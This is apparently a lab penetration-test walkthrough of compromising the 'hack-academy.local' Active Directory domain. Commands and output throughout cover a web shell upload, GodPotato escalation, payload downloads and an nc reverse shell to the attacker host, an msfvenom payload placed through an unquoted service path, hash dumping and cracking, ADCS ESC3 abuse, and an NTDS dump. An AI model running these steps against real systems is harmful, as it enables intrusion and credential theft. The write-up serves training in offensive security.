$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/system_web/4_0_30319/. [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/system_web/4_0_30319/.. [dir]
$SMB         10.0.2.9        445    CLIENT-2         [*] Done spidering (Completed in 0.0353541374206543)

Since I can write in the share, I decided to put shell.aspx in there https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/FuzzDB/cmd.aspx

🐺 howlsec@kalishell

$impacket-smbclient hack-academy.local/websvc:'ChangeMe123!!'@10.0.2.9
$Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
$ 
$Type help for list of commands
$# shares
$ADMIN$
$C$
$IPC$
$Web
$# tre
$*** Unknown syntax: tre
$# tree
$[-] No share selected
$# tree
$[-] No share selected
$# use web
$# tree
$/iisstart.htm
$/iisstart.png
$/aspnet_client/system_web
$/aspnet_client/system_web/4_0_30319
$Finished - 3 files and folders
$# put shell.aspx
$# ls
$drw-rw-rw-          0  Tue Feb 17 16:23:46 2026 .
$drw-rw-rw-          0  Tue Feb 17 16:23:46 2026 ..
$drw-rw-rw-          0  Mon Feb  2 09:14:36 2026 aspnet_client
$-rw-rw-rw-        696  Mon Feb  2 09:16:30 2026 iisstart.htm
$-rw-rw-rw-      98757  Mon Feb  2 09:16:30 2026 iisstart.png
$-rw-rw-rw-      20349  Tue Feb 17 16:23:46 2026 shell.aspx
$# put cmd.aspx
$# ls
$drw-rw-rw-          0  Tue Feb 17 16:33:32 2026 .
$drw-rw-rw-          0  Tue Feb 17 16:33:32 2026 ..
$drw-rw-rw-          0  Mon Feb  2 09:14:36 2026 aspnet_client
$-rw-rw-rw-       1400  Tue Feb 17 16:33:32 2026 cmd.aspx
$-rw-rw-rw-        696  Mon Feb  2 09:16:30 2026 iisstart.htm
$-rw-rw-rw-      98757  Mon Feb  2 09:16:30 2026 iisstart.png
$-rw-rw-rw-      20349  Tue Feb 17 16:23:46 2026 shell.aspx
$# 
$

(screenshot omitted) Used Godpotato to privesc to nt\authority since websvc user had SerImpersonate

🐺 howlsec@kalishell

$C:\Windows\Tasks>powershell iwr -uri http://10.0.2.10/GodPotato-NET4.exe -Outfile GodPotato-NET4.exe
$powershell iwr -uri http://192.168.45.198/GodPotato-NET4.exe -Outfile GodPotato-NET4.exe
$ 
$C:\Windows\Tasks>powershell iwr -uri http://10.0.2.10//nc.exe -Outfile nc.exe
$powershell iwr -uri http://192.168.45.198/nc.exe -Outfile nc.exe
$ 
$C:\Windows\Tasks>GodPotato-NET4.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe 10.0.2.10/ 443"

Added websvc to administrators group and then dumped all the hashes remotely

🐺 howlsec@kalishell

$rlwrap nc -nvlp 443
$listening on [any] 443 ...
$connect to [10.0.2.10] from (UNKNOWN) [10.0.2.9] 58719
$Microsoft Windows [Version 10.0.19045.6456]
$(c) Microsoft Corporation. All rights reserved.
$ 
$C:\Windows\Tasks>whoami
$whoami
$nt authority\system
$ 
$C:\Windows\Tasks>net localgroup "Administrators" websvc /add
$net localgroup "Administrators" websvc /add
$The command completed successfully.
$ 
$C:\Windows\Tasks>

Dumped Hashes remotely and cracked it. Got new credentials: vlang : Shar4334!

🐺 howlsec@kalishell

$netexec smb ips -u websvc -p 'ChangeMe123!!' --lsa
$SMB         10.0.2.7        445    CLIENT-1         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.4        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)
$SMB         10.0.2.7        445    CLIENT-1         [+] hack-academy.local\websvc:ChangeMe123!! 
$SMB         10.0.2.4        445    DC01             [+] hack-academy.local\websvc:ChangeMe123!! 
$SMB         10.0.2.9        445    CLIENT-2         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.9        445    CLIENT-2         [+] hack-academy.local\websvc:ChangeMe123!! (Pwn3d!)
$SMB         10.0.2.9        445    CLIENT-2         [+] Dumping LSA secrets
$SMB         10.0.2.9        445    CLIENT-2         HACK-ACADEMY.LOCAL/vlang:$DCC2$10240#vlang#551614a0576936f2f14c92f924a6612a: (2026-02-03 10:58:20)
$SMB         10.0.2.9        445    CLIENT-2         HACK-ACADEMY\CLIENT-2$:aes256-cts-hmac-sha1-96:2556f0d5b5e0e2960396196580f34bed10b3972c892ab672a8eda0140144686e
$SMB         10.0.2.9        445    CLIENT-2         HACK-ACADEMY\CLIENT-2$:aes128-cts-hmac-sha1-96:8e1dcdababae91031d3035d22c40baa1
$SMB         10.0.2.9        445    CLIENT-2         HACK-ACADEMY\CLIENT-2$:des-cbc-md5:e9ab708c67f79e32
$SMB         10.0.2.9        445    CLIENT-2         HACK-ACADEMY\CLIENT-2$:plain_password_hex:260047004d0067003c006d002a0028002c00580056006000620066007600570062004e002e00690065005200710063005a0051004e005b00590020002f00230047005b0053003c0051002f0043006d00520058002e0075004300700059002f00750077005e004e005300240076004a005d00520062002500660060007a00620066002b0051004e0028006f003a007a003d006800750076003a0071007200310064005800760060006200240045005e004000450035002a0044007a00600022002a0045006a00450076003e006d006a002f006e00450061002d005f004b0066005f003c006c007a004900470071003d00
$SMB         10.0.2.9        445    CLIENT-2         HACK-ACADEMY\CLIENT-2$:aad3b435b51404eeaad3b435b51404ee:728d28c64b230d2b2024dbd58d11b498:::
$SMB         10.0.2.9        445    CLIENT-2         dpapi_machinekey:0x0567c35e4dc0d3fb5d2015ba0341053b907b64f1
$dpapi_userkey:0x18dba29d7d5e9a483e3844e96fcd2d5130b52886
$SMB         10.0.2.9        445    CLIENT-2         [+] Dumped 7 LSA secrets to /home/kali/.nxc/logs/lsa/CLIENT-2_10.0.2.9_2026-02-18_080425.secrets and /home/kali/.nxc/logs/lsa/CLIENT-2_10.0.2.9_2026-02-18_080425.cached
$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
$                                                                                                                                                            
$┌──(kali㉿kali)-[~/AD-chain6]
$└─$ netexec smb ips -u websvc -p 'ChangeMe123!!'  --lsa | awk '{print $5}' | fgrep '/' | tee mscash_hashes
$HACK-ACADEMY.LOCAL/vlang:$DCC2$10240#vlang#551614a0576936f2f14c92f924a6612a:
$                                                                                                                                                            
$┌──(kali㉿kali)-[~/AD-chain6]
$└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=mscash2 mscash_hashes
$Using default input encoding: UTF-8
$Loaded 1 password hash (mscash2, MS Cache Hash 2 (DCC2) [PBKDF2-SHA1 128/128 SSE2 4x])
$Will run 8 OpenMP threads
$Press 'q' or Ctrl-C to abort, almost any other key for status
$0g 0:00:01:32 3.86% (ETA: 08:45:17) 0g/s 6942p/s 6942c/s 6942C/s jsebastian..joynal
$0g 0:00:01:36 4.01% (ETA: 08:45:32) 0g/s 6830p/s 6830c/s 6830C/s fendt..feebie1
$Shar4334!        (HACK-ACADEMY.LOCAL/vlang)     
$1g 0:00:04:48 DONE (2026-02-18 08:10) 0.003467g/s 7254p/s 7254c/s 7254C/s Sharon12..Shakir4
$Use the "--show --format=mscash2" options to display all of the cracked passwords reliably
$Session completed.

Vlang user has access via RDP on Client1

🐺 howlsec@kalishell

$nxc rdp ips -u users -p passwords --continue-on-success | fgrep -vi 'LOGON_FAILURE'  
$RDP                      10.0.2.7        3389   CLIENT-1         [*] Windows 10 or Windows Server 2016 Build 19041 (name:CLIENT-1) (domain:hack-academy.local) (nla:True)
$RDP                      10.0.2.9        3389   CLIENT-2         [*] Windows 10 or Windows Server 2016 Build 19041 (name:CLIENT-2) (domain:hack-academy.local) (nla:True)
$RDP                      10.0.2.7        3389   CLIENT-1         [+] hack-academy.local\sortiz:Shade3729a. 
$RDP                      10.0.2.7        3389   CLIENT-1         [+] hack-academy.local\websvc:ChangeMe123!! 
$RDP                      10.0.2.7        3389   CLIENT-1         [+] hack-academy.local\vlang:Shar4334! (Pwn3d!)
$RDP                      10.0.2.9        3389   CLIENT-2         [+] hack-academy.local\sortiz:Shade3729a. 
$RDP                      10.0.2.9        3389   CLIENT-2         [+] hack-academy.local\websvc:ChangeMe123!! (Pwn3d!)
$RDP                      10.0.2.9        3389   CLIENT-2         [+] hack-academy.local\vlang:Shar4334! (Pwn3d!)

Checked certipy for vulnerabilities but nothing found

🐺 howlsec@kalishell

$certipy-ad find -u vlang@hack-academy.local -p 'Shar4334!' -dc-ip 10.0.2.4 -vulnerable -stdout 
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$[*] Finding certificate templates
$[*] Found 34 certificate templates
$[*] Finding certificate authorities
$[*] Found 1 certificate authority
$[*] Found 12 enabled certificate templates
$[*] Finding issuance policies
$[*] Found 14 issuance policies
$[*] Found 0 OIDs linked to templates
$[*] Retrieving CA configuration for 'Hack-Academy-CA' via RRP
$[!] Failed to connect to remote registry. Service should be starting now. Trying again...
$[*] Successfully retrieved CA configuration for 'Hack-Academy-CA'
$[*] Checking web enrollment for CA 'Hack-Academy-CA' @ 'DC01.hack-academy.local'
$[!] Error checking web enrollment: timed out
$[!] Use -debug to print a stacktrace
$[*] Enumeration output:
$Certificate Authorities
$  0
$    CA Name                             : Hack-Academy-CA
$    DNS Name                            : DC01.hack-academy.local
$    Certificate Subject                 : CN=Hack-Academy-CA, DC=hack-academy, DC=local
$    Certificate Serial Number           : 38C92BC4E49DC1B64C35846E93F530D1
$    Certificate Validity Start          : 2026-01-29 02:53:27+00:00
$    Certificate Validity End            : 2036-01-29 03:03:26+00:00
$    Web Enrollment
$      HTTP
$        Enabled                         : False
$      HTTPS
$        Enabled                         : False
$    User Specified SAN                  : Disabled
$    Request Disposition                 : Issue
$    Enforce Encryption for Requests     : Enabled
$    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
$    Permissions
$      Owner                             : HACK-ACADEMY.LOCAL\Administrators
$      Access Rights
$        ManageCa                        : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        ManageCertificates              : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        Enroll                          : HACK-ACADEMY.LOCAL\Authenticated Users
$Certificate Templates                   : [!] Could not find any certificate templates
$

Logged in on Client1 with vlang credentials

🐺 howlsec@kalishell

$xfreerdp3 /v:10.0.2.7 /u:'vlang' /p:'Shar4334!' /cert:ignore /dynamic-resolution /drive:linux,/opt/ +clipboard

PowerUp.ps1 shows unquoted path on HostHelperSvc and we can restart machine

🐺 howlsec@kalishell

$sc.exe qc HostHelperSvc
$#Checked if I could write in the different folders on the path or if I can rewrite the executable
$get-acl 'C:\Program Files\Common Files\Services\Service Helper\svchosthelper.exe' | f1
$get-acl 'C:\Program Files\Common Files\Services\Service Helper\' | f1

Was able to write in Services folder (screenshot omitted) Created a malicious Payload called Service.exe

🐺 howlsec@kalishell

$msfvenom -p windows/x64/shell_reverse_tcp -a x64 --platform windows LHOST=10.0.2.15 LPORT=443 -f exe > Service.exe
$#Transfered the payload into C:\Program Files\Common Files\Services\ and restarted machine. Received the shell!

Added vlang into administrators group so I can dump hashes remotely (screenshot omitted) Dumped all the hashes

🐺 howlsec@kalishell

$nxc smb 10.0.2.7 -u vlang -p 'Shar4334!' --lsa                                     
$SMB         10.0.2.7        445    CLIENT-1         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.7        445    CLIENT-1         [+] hack-academy.local\vlang:Shar4334! (Pwn3d!)
$SMB         10.0.2.7        445    CLIENT-1         [+] Dumping LSA secrets
$SMB         10.0.2.7        445    CLIENT-1         HACK-ACADEMY.LOCAL/folsen:$DCC2$10240#folsen#4f3ab6627d37b1b20549bff73248a237: (2026-02-02 09:02:27)
$SMB         10.0.2.7        445    CLIENT-1         HACK-ACADEMY.LOCAL/vlang:$DCC2$10240#vlang#551614a0576936f2f14c92f924a6612a: (2026-02-19 05:23:41)
$SMB         10.0.2.7        445    CLIENT-1         HACK-ACADEMY\CLIENT-1$:aes256-cts-hmac-sha1-96:56a4479b62aff403f78f9ff6d85c3954868fb5e1cf52c87ff20189470f3016dc
$SMB         10.0.2.7        445    CLIENT-1         HACK-ACADEMY\CLIENT-1$:aes128-cts-hmac-sha1-96:7ddac55581f82a1e5927d9fc546d9a68
$SMB         10.0.2.7        445    CLIENT-1         HACK-ACADEMY\CLIENT-1$:des-cbc-md5:92eff1389e7a94b5
$SMB         10.0.2.7        445    CLIENT-1         HACK-ACADEMY\CLIENT-1$:plain_password_hex:4f005700740039002000230065003a006c0067005000690079003c005100260035002d004a0067005700580078002b006d00280036007700280039007100630050005000770060007a004700340039006b006400710030002d0072003c00330077003a0039006b0072005a005400390042005a004900430078005200700079004b004c0070006000300074004f002f004c005e003a00620066007a004a0020006a00710062002c002d006a006900730063003c0034004d0057006d005f0036006a0074005e0047003b0044006f00410035006b0044003c0021003b0051003c002a0052003b0071006000630071002c00
$SMB         10.0.2.7        445    CLIENT-1         HACK-ACADEMY\CLIENT-1$:aad3b435b51404eeaad3b435b51404ee:b03c17bb0b2f8533c0238485b11d4e22:::
$SMB         10.0.2.7        445    CLIENT-1         dpapi_machinekey:0xf40fb1b5e9b0e32e3f894a8ea41407ea759f7d72
$dpapi_userkey:0xb4817a980cb0d48b9cd1300c3ed32fb0d6f0bdc7
$SMB         10.0.2.7        445    CLIENT-1         [+] Dumped 8 LSA secrets to /home/kali/.nxc/logs/lsa/CLIENT-1_10.0.2.7_2026-02-19_002919.secrets and /home/kali/.nxc/logs/lsa/CLIENT-1_10.0.2.7_2026-02-19_002919.cached
$ 
$nxc smb 10.0.2.7 -u vlang -p 'Shar4334!' --lsa | awk '{print $5}' | fgrep '/' | tee mscash_hashes
$HACK-ACADEMY.LOCAL/folsen:$DCC2$10240#folsen#4f3ab6627d37b1b20549bff73248a237:
$HACK-ACADEMY.LOCAL/vlang:$DCC2$10240#vlang#551614a0576936f2f14c92f924a6612a:

Cracked the hash for new user with John and got new credentials folsen : Phish28*

🐺 howlsec@kalishell

$john --wordlist=/usr/share/wordlists/rockyou.txt --format=mscash2 mscash_hashes
$Using default input encoding: UTF-8
$Loaded 2 password hashes with 2 different salts (mscash2, MS Cache Hash 2 (DCC2) [PBKDF2-SHA1 128/128 SSE2 4x])
$Remaining 1 password hash
$Will run 8 OpenMP threads
$Press 'q' or Ctrl-C to abort, almost any other key for status
$0g 0:00:03:13 5.60% (ETA: 01:33:53) 0g/s 4745p/s 4745c/s 4745C/s jakek..jaja4ever
$0g 0:00:03:15 5.69% (ETA: 01:33:33) 0g/s 4768p/s 4768c/s 4768C/s holden1993..hol1day
$Phish28*         (HACK-ACADEMY.LOCAL/folsen)     
$1g 0:00:05:58 DONE (2026-02-19 00:42) 0.002791g/s 5869p/s 5869c/s 5869C/s Phoenix2..Perlita12
$Use the "--show --format=mscash2" options to display all of the cracked passwords reliably

Looked up for certipy with new user

🐺 howlsec@kalishell

$certipy-ad find -u folsen@hack-academy.local -p 'Phish28*' -dc-ip 10.0.2.4 -vulnerable -stdout

Found vulnerability in EnrolUsers

🐺 howlsec@kalishell

$certipy-ad find -u folsen@hack-academy.local -p 'Phish28*' -dc-ip 10.0.2.4 -vulnerable -stdout
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$[*] Finding certificate templates
$[*] Found 34 certificate templates
$[*] Finding certificate authorities
$[*] Found 1 certificate authority
$[*] Found 12 enabled certificate templates
$[*] Finding issuance policies
$[*] Found 14 issuance policies
$[*] Found 0 OIDs linked to templates
$[*] Retrieving CA configuration for 'Hack-Academy-CA' via RRP
$[!] Failed to connect to remote registry. Service should be starting now. Trying again...
$[*] Successfully retrieved CA configuration for 'Hack-Academy-CA'
$[*] Checking web enrollment for CA 'Hack-Academy-CA' @ 'DC01.hack-academy.local'
$[!] Error checking web enrollment: timed out
$[!] Use -debug to print a stacktrace
$[*] Enumeration output:
$Certificate Authorities
$  0
$    CA Name                             : Hack-Academy-CA
$    DNS Name                            : DC01.hack-academy.local
$    Certificate Subject                 : CN=Hack-Academy-CA, DC=hack-academy, DC=local
$    Certificate Serial Number           : 38C92BC4E49DC1B64C35846E93F530D1
$    Certificate Validity Start          : 2026-01-29 02:53:27+00:00
$    Certificate Validity End            : 2036-01-29 03:03:26+00:00
$    Web Enrollment
$      HTTP
$        Enabled                         : False
$      HTTPS
$        Enabled                         : False
$    User Specified SAN                  : Disabled
$    Request Disposition                 : Issue
$    Enforce Encryption for Requests     : Enabled
$    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
$    Permissions
$      Owner                             : HACK-ACADEMY.LOCAL\Administrators
$      Access Rights
$        ManageCa                        : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        ManageCertificates              : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        Enroll                          : HACK-ACADEMY.LOCAL\Authenticated Users
$Certificate Templates
$  0
$    Template Name                       : UserAuthentication
$    Display Name                        : UserAuthentication
$    Certificate Authorities             : Hack-Academy-CA
$    Enabled                             : True
$    Client Authentication               : False
$    Enrollment Agent                    : True
$    Any Purpose                         : False
$    Enrollee Supplies Subject           : False
$    Certificate Name Flag               : SubjectAltRequireUpn
$    Enrollment Flag                     : IncludeSymmetricAlgorithms
$                                          PublishToDs
$                                          AutoEnrollment
$    Private Key Flag                    : ExportableKey
$    Extended Key Usage                  : Certificate Request Agent
$    Requires Manager Approval           : False
$    Requires Key Archival               : False
$    Authorized Signatures Required      : 0
$    Schema Version                      : 2
$    Validity Period                     : 99 years
$    Renewal Period                      : 650430 hours
$    Minimum RSA Key Length              : 2048
$    Template Created                    : 2026-01-29T03:12:52+00:00
$    Template Last Modified              : 2026-01-29T03:12:52+00:00
$    Permissions
$      Enrollment Permissions
$        Enrollment Rights               : HACK-ACADEMY.LOCAL\EnrollUsers
$      Object Control Permissions
$        Owner                           : HACK-ACADEMY.LOCAL\Enterprise Admins
$        Full Control Principals         : HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Local System
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        Write Owner Principals          : HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Local System
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        Write Dacl Principals           : HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Local System
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$    [+] User Enrollable Principals      : HACK-ACADEMY.LOCAL\EnrollUsers
$    [!] Vulnerabilities
$      ESC3                              : Template has Certificate Request Agent EKU set

Privesc with EC3 https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation

🐺 howlsec@kalishell

$certipy-ad find -u folsen@hack-academy.local -p 'Phish28*' -dc-ip 10.0.2.4 -template UserAuthentication -ca Hack-Academy-CA 
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$usage: certipy-ad [-v] [-h] [-debug] {account,auth,ca,cert,find,parse,forge,relay,req,shadow,template} ...
$certipy-ad: error: unrecognized arguments: -template UserAuthentication -ca Hack-Academy-CA
$                                                                                                                                                            
$┌──(kali㉿kali)-[~/AD-chain6]
$└─$ certipy-ad req -u folsen@hack-academy.local -p 'Phish28*' -dc-ip 10.0.2.4 -template UserAuthentication -ca Hack-Academy-CA 
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$[*] Requesting certificate via RPC
$[*] Request ID is 3
$[*] Successfully requested certificate
$[*] Got certificate with UPN 'folsen@hack-academy.local'
$[*] Certificate has no object SID
$[*] Try using -sid to set the object SID or see the wiki for more details
$[*] Saving certificate and private key to 'folsen.pfx'
$[*] Wrote certificate and private key to 'folsen.pfx'
$

🐺 howlsec@kalishell

$certipy-ad req -u folsen@hack-academy.local -p 'Phish28*' -dc-ip 10.0.2.4 -template User -ca Hack-Academy-CA  -pfx 'folsen.pfx' -on-behalf-of 'hack-academy\Administrator'
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$[*] Requesting certificate via RPC
$[*] Request ID is 6
$[*] Successfully requested certificate
$[*] Got certificate with UPN 'Administrator@hack-academy.local'
$[*] Certificate has no object SID
$[*] Try using -sid to set the object SID or see the wiki for more details
$[*] Saving certificate and private key to 'administrator.pfx'
$[*] Wrote certificate and private key to 'administrator.pfx'

🐺 howlsec@kalishell

$sudo rdate -n 10.0.2.4                                    
$Thu Feb 19 04:00:33 EST 2026
$                                                                                                                                                            
$┌──(kali㉿kali)-[~/AD-chain6]
$└─$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.0.2.4'
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$[*] Certificate identities:
$[*]     SAN UPN: 'Administrator@hack-academy.local'
$[*] Using principal: 'administrator@hack-academy.local'
$[*] Trying to get TGT...
$[*] Got TGT
$[*] Saving credential cache to 'administrator.ccache'
$[*] Wrote credential cache to 'administrator.ccache'
$[*] Trying to retrieve NT hash for 'administrator'
$[*] Got hash for 'administrator@hack-academy.local': aad3b435b51404eeaad3b435b51404ee:c0ced2de918b4a7c1b9f4efd225dd503
$

Dumped all the hashes from Domain

🐺 howlsec@kalishell

$nxc smb 10.0.2.4 -u administrator -H c0ced2de918b4a7c1b9f4efd225dd503 --ntds
$[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] y
$SMB         10.0.2.4        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)
$SMB         10.0.2.4        445    DC01             [+] hack-academy.local\administrator:c0ced2de918b4a7c1b9f4efd225dd503 (Pwn3d!)
$SMB         10.0.2.4        445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
$SMB         10.0.2.4        445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:c0ced2de918b4a7c1b9f4efd225dd503:::
$SMB         10.0.2.4        445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
$SMB         10.0.2.4        445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b3814b17f76015a3112d545f4899eabd:::
$SMB         10.0.2.4        445    DC01             ecole:1105:aad3b435b51404eeaad3b435b51404ee:a1021d099166da73b5987f580c03b3e7:::
$SMB         10.0.2.4        445    DC01             malvarez:1106:aad3b435b51404eeaad3b435b51404ee:cca9e0271c8d0691f6c6025ad67f3676:::
$SMB         10.0.2.4        445    DC01             rwhitaker:1107:aad3b435b51404eeaad3b435b51404ee:0c1908460958cce492b768e4895e0177:::
$SMB         10.0.2.4        445    DC01             sbennett:1108:aad3b435b51404eeaad3b435b51404ee:bb1414707fcbc5eaf8b4393c516b6660:::
$SMB         10.0.2.4        445    DC01             dmorris:1109:aad3b435b51404eeaad3b435b51404ee:56993833a407090129ba2317c9ef54a7:::
$SMB         10.0.2.4        445    DC01             pnair:1110:aad3b435b51404eeaad3b435b51404ee:d6cf596ef17cad6d364df6cde73fdcc6:::
$SMB         10.0.2.4        445    DC01             treed:1111:aad3b435b51404eeaad3b435b51404ee:2d3c84682d3a615aa8741e4f73b14418:::
$SMB         10.0.2.4        445    DC01             ekovacs:1112:aad3b435b51404eeaad3b435b51404ee:3f970a08801c4e6f77e0e018b034f7e9:::
$SMB         10.0.2.4        445    DC01             mliu:1113:aad3b435b51404eeaad3b435b51404ee:e4f3b3ba83df92ff10bef8ca85272acf:::
$SMB         10.0.2.4        445    DC01             hbrooks:1114:aad3b435b51404eeaad3b435b51404ee:96c784cb1a66063a1fcc7207f80724af:::
$SMB         10.0.2.4        445    DC01             ogrant:1115:aad3b435b51404eeaad3b435b51404ee:cca88ce6db1a186fbcd667c62c3d51bc:::
$SMB         10.0.2.4        445    DC01             nfisher:1116:aad3b435b51404eeaad3b435b51404ee:2b0fd3faca9a8acd5fdfff6ecae2c207:::
$SMB         10.0.2.4        445    DC01             vlang:1117:aad3b435b51404eeaad3b435b51404ee:0fe5d4e80341c22866101ba91b02a6dc:::
$SMB         10.0.2.4        445    DC01             imckenzie:1118:aad3b435b51404eeaad3b435b51404ee:0993544093afde1ca21b7bac10e0e727:::
$SMB         10.0.2.4        445    DC01             sortiz:1119:aad3b435b51404eeaad3b435b51404ee:87147da1ce548060ce21dbcb834a5514:::
$SMB         10.0.2.4        445    DC01             cmendes:1120:aad3b435b51404eeaad3b435b51404ee:bb29e324992efbfbbe584a16e8d87040:::
$SMB         10.0.2.4        445    DC01             jpark:1121:aad3b435b51404eeaad3b435b51404ee:791191f72044c1fd2ccbd40c0e7bc10b:::
$SMB         10.0.2.4        445    DC01             folsen:1122:aad3b435b51404eeaad3b435b51404ee:d6cf596ef17cad6d364df6cde73fdcc6:::
$SMB         10.0.2.4        445    DC01             avega:1123:aad3b435b51404eeaad3b435b51404ee:3a4151769e021dcf30edf1b6a212f3d4:::
$SMB         10.0.2.4        445    DC01             mturner:1124:aad3b435b51404eeaad3b435b51404ee:5403999d54e8a94996c4c531316bb77f:::
$SMB         10.0.2.4        445    DC01             websvc:1126:aad3b435b51404eeaad3b435b51404ee:12cbe75a17734488ec8cf3e9cfe31d73:::
$SMB         10.0.2.4        445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:eae549d445096d045bf536e235b69176:::
$SMB         10.0.2.4        445    DC01             CLIENT-1$:1103:aad3b435b51404eeaad3b435b51404ee:b03c17bb0b2f8533c0238485b11d4e22:::
$SMB         10.0.2.4        445    DC01             CLIENT-2$:1104:aad3b435b51404eeaad3b435b51404ee:728d28c64b230d2b2024dbd58d11b498:::
$SMB         10.0.2.4        445    DC01             [+] Dumped 27 NTDS hashes to /home/kali/.nxc/logs/ntds/DC01_10.0.2.4_2026-02-19_010215.ntds of which 24 were added to the database
$SMB         10.0.2.4        445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
$SMB         10.0.2.4        445    DC01             [*] cat /home/kali/.nxc/logs/ntds/DC01_10.0.2.4_2026-02-19_010215.ntds | grep -iv disabled | cut -d ':' -f1
$SMB         10.0.2.4        445    DC01             [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC01_10.0.2.4_2026-02-19_010215.ntds | cut -d ':' -f1

(screenshot omitted) Got nt authority shell with impacket-psexec

🐺 howlsec@kalishell

$impacket-psexec hack-academy.local/Administrator@10.0.2.4 -hashes :c0ced2de918b4a7c1b9f4efd225dd503
$Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
$ 
$[*] Requesting shares on 10.0.2.4.....
$[*] Found writable share ADMIN$
$[*] Uploading file mCrKXOTR.exe
$[*] Opening SVCManager on 10.0.2.4.....
$[*] Creating service fisz on 10.0.2.4.....
$[*] Starting service fisz.....
$[!] Press help for extra shell commands
$Microsoft Windows [Version 10.0.20348.587]
$(c) Microsoft Corporation. All rights reserved.
$ 
$C:\Windows\system32> whoami
$nt authority\system
$ 
$C:\Windows\system32>